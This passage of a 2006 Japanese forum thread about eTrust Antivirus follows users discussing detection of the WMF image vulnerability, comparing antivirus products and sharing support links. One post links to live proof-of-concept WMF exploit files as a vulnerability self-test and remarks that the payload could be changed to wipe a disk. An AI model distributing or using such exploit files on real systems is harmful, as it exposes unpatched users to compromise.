開いただけでもアウトだからローカルでスキャンできてもなぁ

894 :名無しさん@お腹いっぱい。:2006/01/01(日) 00:03:02
あけおめ。
脆弱性への完全対応まだ〜?
avastに乗り換えようかな・・・

895 :名無しさん@お腹いっぱい。:2006/01/01(日) 00:34:15
>>894
あけおめついでにMSに言えって

896 :名無しさん@お腹いっぱい。:2006/01/01(日) 00:53:14
avast重い・・・
eTrust対応がんばれ

897 :名無しさん@お腹いっぱい。:2006/01/01(日) 01:22:10
>>896
avast入れるときって、eTrustアンインスコしたの?

898 :名無しさん@お腹いっぱい。:2006/01/01(日) 01:23:49
どっちも対応されたな。

Ino 23.71.34
Vet 12.4.2022

899 :名無しさん@お腹いっぱい。:2006/01/01(日) 01:25:55
ごめんうそ。
Inoは電卓の方はまだ検出できないみたい。
Vetは両方検出した。

900 :名無しさん@お腹いっぱい。:2006/01/01(日) 01:43:56
へぇ、Vetのほうが先に対応したのか。珍しいな。

いつもInoのほうが検出率が高いのでInoをメインにしてるんだが、
しばらくはVetに切り替えて使ってみるとするか。

901 :名無しさん@お腹いっぱい。:2006/01/01(日) 02:16:41
対応遅いからAntiVirにしてしまった

902 :名無しさん@お腹いっぱい。:2006/01/01(日) 07:11:42
>901

さいなら

903 : 【大凶】 【141円】 :2006/01/01(日) 21:18:31
Vet 12.4.2023

904 :名無しさん@お腹いっぱい。:2006/01/01(日) 21:19:28
大凶・・・ もうだめぽ orz

905 :名無しさん@お腹いっぱい。:2006/01/01(日) 23:19:17
23.71.35

906 :名無しさん@お腹いっぱい。:2006/01/01(日) 23:37:23
>>905
Inoculate IT も電卓対応来たね。
よしよし。

907 :名無しさん@お腹いっぱい。:2006/01/02(月) 00:32:46
やったねCA♪

908 :名無しさん@お腹いっぱい。:2006/01/02(月) 01:13:33
こないだのキンタマ関係も対応遅かったな
プロモと2005って何が違うの?

909 :名無しさん@お腹いっぱい。:2006/01/02(月) 08:29:56
アンチウイルス2005はEZ AntiVirusを日本語化したもの。
エンジンはvetだけ。細かい設定はほとんどできない。
"eTrust Microsoft"でググれば1年間使える体験版が引っかかる。

910 :名無しさん@お腹いっぱい。:2006/01/02(月) 14:20:35
プロモと製品版の対応って全く変わらないのか

911 :名無しさん@お腹いっぱい。:2006/01/02(月) 20:52:35
7.1の体験版は、実は試用期限がないよと、こそっと言ってみる。

912 :名無しさん@お腹いっぱい。:2006/01/03(火) 20:09:14
【IT】Windowsの脆弱性を突く画像ファイルが出現! メールで送られてくる場合も
http://news19.2ch.net/test/read.cgi/newsplus/1136216793/

対応してないんでしょ?
相当やばいね

913 :名無しさん@お腹いっぱい。:2006/01/03(火) 20:30:23
【PC初心者と今北専用】

今騒がれているのはウイルスではありません。
OSの欠陥です。
ただし、MSがパッチを配布する前にそこを狙うウイルスが作られた場合は非常にやばい状況。

★今回発見された脆弱性とは?
―画像見るだけ、プレビューするだけ、zipやらを解凍するだけ、画像が張られてるサイトに飛ぶだけで感染しちゃうウイルスが作られるかも

★対策は?
―パッチ配布まで外で遊ぶ

★どんなウイルスができるの?
―↓を踏んで電卓やらメモ帳が起動すれば、脆弱性を持った状態です。(起動しなくても決して安心しないで下さい)

http://grin.flagbind.jp/runcalc.wmf 電卓が起動するだけ
http://kikuz0u.x0.com/wmf_exp.html メモ帳が起動するだけ

↑のプログラムで「電卓を起動して下さい」って命令を
「HDD削除して下さい」に変えたウイルスが開発されるとあなたのPCは即あぼーんです。
それだけ、危険な脆弱性なんだおー( ^ω^)

>>912
これ、対応してるよ?

914 :名無しさん@お腹いっぱい。:2006/01/03(火) 22:22:43
どうせ無差別マルチポストなんだろうけど

>>912
MSの言う通りに対策すればIEで画像見ようが、プレビューしようが、zipやらを解凍しようが、
画像が張られてるサイトをのぞこうが全く何の問題もない
画像専用ビューアーなら偽装された(保存した後の)偽装にせ画像を見ても何の問題もない
ただの画像として処理するからウイルスが実行される余地はまるでない

一部の人の環境
高度なファイル識別能力を持ち、なおかつshimgvw.dllを使用する(これが癌)、
irfanview等で偽装にせ画像を見る場合には実行ファイルだと識別してウイルスコードが実行される・・・・・が、
アンチウイルスソフトがリアルタイムで対応してればその場合でも問題ない

915 :名無しさん@お腹いっぱい。:2006/01/04(水) 03:00:09
なぜトロイは削除できない(´・ω・`)

916 :名無しさん@お腹いっぱい。:2006/01/04(水) 10:50:15
とろいからな

917 :名無しさん@お腹いっぱい。:2006/01/04(水) 11:33:02
>>916ちゃん 関西でそれ言っていいの3歳までよ?

918 :名無しさん@お腹いっぱい。:2006/01/04(水) 12:07:12
ちなみに大阪では生後7日までや

919 :名無しさん@お腹いっぱい。:2006/01/04(水) 12:33:02
また大阪か・・・

920 :名無しさん@お腹いっぱい。:2006/01/04(水) 14:59:16
関西人入れ食いw

921 :名無しさん@お腹いっぱい。:2006/01/04(水) 17:16:38
トロイを検出した場合、どうする?

922 :916:2006/01/04(水) 19:59:34
>>917
ギャフン!

923 :名無しさん@お腹いっぱい。:2006/01/04(水) 20:17:20
>>922
>>917-918の流れからそれぞれ「さんさい!?」「なのかー!!!」以外は認めないw

924 :名無しさん@お腹いっぱい。:2006/01/05(木) 02:57:21
とりあえず川相さん帰りますよ

925 :名無しさん@お腹いっぱい。:2006/01/05(木) 16:31:05
MS、月例パッチでWMF脆弱性に対応へ--専門家は進展の遅さに懸念を表明
文:Joris Evers(CNET News.com)
翻訳校正:尾本香里(編集部)
2006/01/04 18:39 Trackback(12)

http://japan.cnet.com/news/sec/story/0,2000050480,20093875,00.htm

 セキュリティベンダーComputer Associates Internationalでバイスプレジデントを

務めるSam Curryは「ハッカーの間で、この脆弱性は広く知られるようになってきて

いる。また、この脆弱性は簡単に悪用できる」と述べる。「これは深刻な事態として

受け止められるべきで、早急に対処する必要がある。できるだけ早くパッチを出すと

いうのが、責任ある企業のやり方だ」(Curry)

926 :名無しさん@お腹いっぱい。:2006/01/05(木) 16:36:42
MSって好き勝手放題やってるね

927 :名無しさん@お腹いっぱい。:2006/01/05(木) 17:02:30
独占の強みだな

928 :名無しさん@お腹いっぱい。:2006/01/05(木) 19:48:31 ?
これってプロモーション版を企業のパソコンに入れてもいいライセンスになってるの?

929 :名無しさん@お腹いっぱい。:2006/01/05(木) 23:19:12
個人使用に決まってんでしょうが!
企業がケチってどうすんのよ。


930 :名無しさん@お腹いっぱい。:2006/01/06(金) 01:38:47
>>928
特に制限はない模様。
試用期限もないが、だからといってまともな企業なら
ずっと使い続けるわけないと思う。

>>929
このソフト、シグネチャ配布機能が標準装備とか、
どう見ても企業用ソフトじゃん。
それを個人だけに試させても意味ないんじゃないか。

931 :名無しさん@お腹いっぱい。:2006/01/06(金) 01:53:24 ?
>>929
企業だからケチるのだと思う、何しろ企業が使えるフリーのアンチウィルスは
みた所、clamWinぐらいしか見かけなかったからさすがに常駐型で無いと問題だろうし

>>930
企業といっても個人事業主に限りなく近い企業もある、ライセンス上問題が無ければいいんだけれども

932 :名無しさん@お腹いっぱい。:2006/01/06(金) 06:50:34
まっとうな企業がいざというときのサポートを受けれないような状態で使い続けるわけないだろ

933 :名無しさん@お腹いっぱい。:2006/01/06(金) 08:40:42
MS緊急パッチ出したね

934 :名無しさん@お腹いっぱい。:2006/01/08(日) 02:16:33
\CA\eTrustAntivirus\DB

evmaster.dbf
evmaster.ntx

更新日時2006/02/14/18:48

ってなんですかね?

935 :名無しさん@お腹いっぱい。:2006/01/08(日) 17:24:47
>>934
漏れ更新日時2007/01/01になってるわ
アクセス日時は今日なんだけど

936 :名無しさん@お腹いっぱい。:2006/01/11(水) 14:27:03
CAに下記のデモを送ってみたら、24時間で対応してくれた。(Vet 12.4.2037)
ttp://internet.watch.impress.co.jp/cda/news/2006/01/10/10430.html

CAからのメールを抜粋。
With regards to the file "WMF-DoS2.wmf" submitted by you on 10 Jan
14:50:44 (Australian Eastern Standard Time), we have added cure
instructions for Win32/WMFCrash to the signature files for the VET
engine.

Inoも近々対応すると思う。
おまいらも新たな脆弱性やSpyware、ウイルス情報仕入れたら送ってみるべし。
ttp://www3.ca.com/securityadvisor/

CA (*^ー゚)b グッジョブ!!

937 :名無しさん@お腹いっぱい。:2006/01/11(水) 21:31:06
そんなのしたいのは山々だが
使用ユーザーで英語で情報送れるようなヤツがいるのかと(ry

938 :名無しさん@お腹いっぱい。:2006/01/11(水) 22:02:45
>>937
ttp://www3.ca.com/securityadvisor/newsinfo/collateral.aspx?CID=33514

939 :938:2006/01/11(水) 22:06:54
悪い、途中で送信してしまった。
単純に検体だけ送ればいいよ、勝手に検査してくれるから。

940 :名無しさん@お腹いっぱい。:2006/01/12(木) 20:48:55
ノートンから乗換えて使っている者です。
ブラウザを立ち上げると同時にインターネット接続ができるように、
接続を「通常の接続で接続する」に設定しているのですが、パソコンを立ち上げるたびに
「ダイヤルしない」に変わってしまい、インターネット接続を手動でしている状況です。
インターネット接続の接続を固定にならないのですが、助言お願いします。

941 :名無しさん@お腹いっぱい。:2006/01/13(金) 10:42:23
>940
これはeTrustの問題ではないと思われ
私も違う環境でも(ノートンでも)起こるので
聞くとしたらマイクロソフトのサポートか?

942 :名無しさん@お腹いっぱい。:2006/01/13(金) 14:10:21
ageてみる

943 :名無しさん@お腹いっぱい。:2006/01/13(金) 20:49:14
>>36
価値観を偉そうに押し付けるな
お前のほうがよっぽど軽はずみな書き込みをしているぞ
脳みそまで凍ってんのか?

944 :名無しさん@お腹いっぱい。:2006/01/13(金) 22:15:30
クマー

945 :名無しさん@お腹いっぱい。:2006/01/14(土) 01:02:42
スゲー
1年越しの亀レスって初めて見ちゃったい

946 :名無しさん@お腹いっぱい。:2006/01/14(土) 01:19:12
>>945
価値観を偉そうに押し付けるな
お前のほうがよっぽど軽はずみな書き込みをしているぞ
脳みそまで凍ってんのか?

947 :名無しさん@お腹いっぱい。:2006/01/14(土) 02:02:29
このソフト人気内ね

948 :名無しさん@お腹いっぱい。:2006/01/14(土) 08:44:02
>>947
お気に入りのノートンでも使ってくださいね

949 :名無しさん@お腹いっぱい。:2006/01/14(土) 09:31:28
おもしれwwwww
1年越しの亀レスw

950 :名無しさん@お腹いっぱい。:2006/01/14(土) 11:00:46
>>947

人気も何も店頭売りしてないし


951 :名無しさん@お腹いっぱい。:2006/01/14(土) 14:31:23
>>950
ヨドバシで青箱を買ったのだが

952 :名無しさん@お腹いっぱい。:2006/01/14(土) 21:55:18
>>943は結局何が言いたいんだ?

953 :名無しさん@お腹いっぱい。:2006/01/14(土) 23:57:13
36に価値観を偉そうに押し付けるなって言いたいらしい
36が見てるかどうか知らんがw

954 :名無しさん@お腹いっぱい。:2006/01/15(日) 01:06:14
>>943
脳が凍るという表現の意味がわからない

955 :名無しさん@お腹いっぱい。:2006/01/15(日) 01:08:51
そうだな
しかしそれは去年の彼に聞いてみてくれ

956 :名無しさん@お腹いっぱい。:2006/01/16(月) 19:03:35
>>954
>>943みたいな超亀レスをしてしまうことかと

957 :名無しさん@お腹いっぱい。:2006/01/16(月) 21:14:57
avastを暫く使ってたけど重いので、またeTrustに戻したよ。

958 :名無しさん@お腹いっぱい。:2006/01/17(火) 23:12:27
漏れも一時それやった
でもeTrustの軽さが忘れられずすぐ戻したよ

959 :名無しさん@お腹いっぱい。:2006/01/17(火) 23:48:55
俺の遍歴
eTrust→AVG→avast!→AntiVir→eTrust
全部フリー  

960 :名無しさん@お腹いっぱい。:2006/01/18(水) 00:57:25
AntiVirからeTrustに移行する理由がわからん

961 :名無しさん@お腹いっぱい。:2006/01/18(水) 01:46:29
            /     NY\
            /_____,,=─-.`、__
           / /      \ ̄ヽ `‐、
           | /----.   o--- ヽ | ̄~
           |y -=・ r ‐、 -=・ ∨、   
         r-r'    i   i    | i   
         { /    ,|.   人    | {  
         しi| `''" `ー- '   ー  | _) 
           |ヽ i  ィュエエェュ、 i  |r~   
           |  | |     | |  | 
           |    |     | ! .|  
        ,____/|!  ヽLィニニニ 」/ /   ほほう それでそれで?
     r'"ヽ   t、 \___'"_,,/
    / 、、i    ヽ__,,/
    / ヽノ  j ,   j |ヽ
    |⌒`'、__ / /   /r  |
    {     ̄''ー-、,,_,ヘ^ |
    ゝ-,,,_____)--、j
    /  \__       /
    |      "'ー‐‐---''


962 :名無しさん@お腹いっぱい。:2006/01/18(水) 10:52:39
まだ一度もウイルス感染したことがない
eTrustの検出力が弱いとされているがね
ノートンとか重い奴入れてるバカに見えるね

963 :名無しさん@お腹いっぱい。:2006/01/18(水) 13:09:30
>>962
おいおいノートンと比べるレベルか?

最新のウイルスに迅速対応しているのか?
また検出率に大きな違いがあると思うよ。

964 :名無しさん@お腹いっぱい。:2006/01/18(水) 16:49:00
>>962
ウィルスチェックのサイトやANTIDOTEとかBitDefenderでチェックした上で書いてるのか?

965 :名無しさん@お腹いっぱい。:2006/01/18(水) 17:08:33
頭の悪い人間は他の使っててください

966 :名無しさん@お腹いっぱい。:2006/01/18(水) 17:10:44
>>964
962じゃないが、
ここ2年間eTrust使っていてウィルスに感染したことは一度もないよ。
もちろん、eTrust以外でもチェック済み。

967 :名無しさん@お腹いっぱい。:2006/01/18(水) 18:10:21
>>964
検出力世界一Kasperskyのオンラインウィルススキャンでも
感染ゼロだが何か?

968 :名無しさん@お腹いっぱい。:2006/01/18(水) 19:41:59
>>967
>>962からそこまで読み取れるのは>>967=>>962くらいしかいないだろうな


969 :名無しさん@お腹いっぱい。:2006/01/18(水) 19:58:42
>>962
ちょっと聞きたいんだけど、
何でNortonユーザーはバカなの?

970 :名無しさん@お腹いっぱい。:2006/01/18(水) 20:01:29
>>967
世界一はNODだよバカ

971 :名無しさん@お腹いっぱい。:2006/01/18(水) 20:38:03
>>969
バカじゃないよ、無知なだけ

972 :名無しさん@お腹いっぱい。:2006/01/18(水) 21:20:28
>>971
そんなことないだろ
明からにノートンやバスターは高機能だ
そのかわり重いんだ
それうぉー覚悟して使っているんだっぴぃ

973 :名無しさん@お腹いっぱい。:2006/01/18(水) 21:46:38

そこでNODですよ

974 :名無しさん@お腹いっぱい。:2006/01/18(水) 22:00:36
NOD自体がウイルス

巣に帰れ

975 :名無しさん@お腹いっぱい。:2006/01/18(水) 22:29:37
メールをいちいち検査す

976 :名無しさん@お腹いっぱい。:2006/01/19(木) 20:54:50
これ入れたんだけれど、ノートンのときよりネットのつながりが遅くなったんだけれど
仕様?

977 :名無しさん@お腹いっぱい。:2006/01/19(木) 21:51:33
冗談も程ほどにね

978 :名無しさん@お腹いっぱい。:2006/01/20(金) 17:07:21
CA、スパイウェア対策を強化した統合セキュリティ対策ソフト
2006/01/20 15:13
http://internet.watch.impress.co.jp/cda/news/2006/01/20/10566.html

979 :名無しさん@お腹いっぱい。:2006/01/20(金) 17:35:43
>>978
これfwはtiny?

980 :名無しさん@お腹いっぱい。:2006/01/20(金) 17:36:28
>>974
社員乙

981 :名無しさん@お腹いっぱい。:2006/01/20(金) 17:40:47
サイト見た限りでは違うっぽいのか。
統合されるのはいつからなんだろう。

982 :1:2006/01/20(金) 18:18:11
公式サイト(日本)
ttp://www.caj.co.jp/etrust/antivirus/
日本語製品マニュアル
ttp://www.caj.co.jp/resources/etrustil/manuals/

Download Promotional Version(7.0) (Free 機能制限や使用期限無し)
ttp://etrust-chil.www.conxion.com/v7/

パッチ and アップデート
7.0用
ttp://supportconnectw.ca.com/premium/antivirus/downloads/nt/7.0/etavwinnt_70.asp
ttp://supportconnectw.ca.com/premium/antivirus/downloads/win95/etavwin9x_70.asp
7.1用
ttp://supportconnectw.ca.com/premium/antivirus/downloads/nt/7.1/etavwinnt_71.asp
ttp://supportconnectw.ca.com/premium/antivirus/downloads/win95/etavwin9x_71.asp

983 :1:2006/01/20(金) 18:18:57
解説サイト
http://etavfp.hp.infoseek.co.jp/

過去スレ
eTrust Antivirus part2
http://pc5.2ch.net/test/read.cgi/sec/1079303111/
【(・∀・)イイ!!】eTrust【信頼】
http://pc.2ch.net/test/read.cgi/sec/1068909338/

984 :名無しさん@お腹いっぱい。:2006/01/20(金) 18:20:07
新スレです。
よろしくお願いします。

eTrust Antivirus part5
http://pc8.2ch.net/test/read.cgi/sec/1137748646/

985 :名無しさん@お腹いっぱい。:2006/01/20(金) 22:44:20
7.1で当てておくべきのパッチも載せたほうがいいと思う。

986 :612:2006/01/20(金) 22:47:41
>>982
パッチ and アップデート
7.0用
ttp://supportconnectw.ca.com/public/antivirus/downloads/nt/7.0/etavwinnt_70.asp
ttp://supportconnectw.ca.com/public/antivirus/downloads/win95/etavwin9x_70.asp
7.1用
ttp://supportconnectw.ca.com/public/antivirus/downloads/nt/7.1/etavwinnt_71.asp
ttp://supportconnectw.ca.com/public/antivirus/downloads/win95/etavwin9x_71.asp

987 :986:2006/01/20(金) 22:49:03
失礼!
私は>>612ではないです。

988 :名無しさん@お腹いっぱい。:2006/01/21(土) 00:16:45
> 【(・∀・)イイ!!】eTrust【信頼】

このスレタイ最強

989 :名無しさん@お腹いっぱい。:2006/01/21(土) 16:52:40
最新うp情報「これだけは入れとけ!」って書いてあったけ・・・?

990 :名無しさん@お腹いっぱい。:2006/01/22(日) 18:16:37
もうすぐこのスレは1000になります。

新スレへ移動してください。

eTrust Antivirus part5
http://pc8.2ch.net/test/read.cgi/sec/1137748646/



991 :名無しさん@お腹いっぱい。:2006/01/22(日) 21:17:37
>>990
すでに新スレのが多くなってる。(((^^;)(;^^) ))アタフタ

992 :名無しさん@お腹いっぱい。:2006/01/23(月) 01:11:21
もうすぐこのスレは1000になります。

新スレへ移動してください。

eTrust Antivirus part5
http://pc8.2ch.net/test/read.cgi/sec/1137748646/



993 :名無しさん@お腹いっぱい。:2006/01/23(月) 01:16:24
梅ていい?

994 :名無しさん@お腹いっぱい。:2006/01/23(月) 01:22:53
eTrust、検出力低すぎ。

995 :名無しさん@お腹いっぱい。:2006/01/23(月) 01:52:03
かえって耐性が(ry

996 :名無しさん@お腹いっぱい。:2006/01/23(月) 02:28:57
ウメ

997 :名無しさん@お腹いっぱい。:2006/01/23(月) 02:29:30
ウメ

998 :名無しさん@お腹いっぱい。:2006/01/23(月) 02:30:00
ウメ

999 :名無しさん@お腹いっぱい。:2006/01/23(月) 02:30:32
ウメ

1000 :名無しさん@お腹いっぱい。:2006/01/23(月) 02:30:47
ぬるぽ!

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

221 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.02 2018/11/22 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)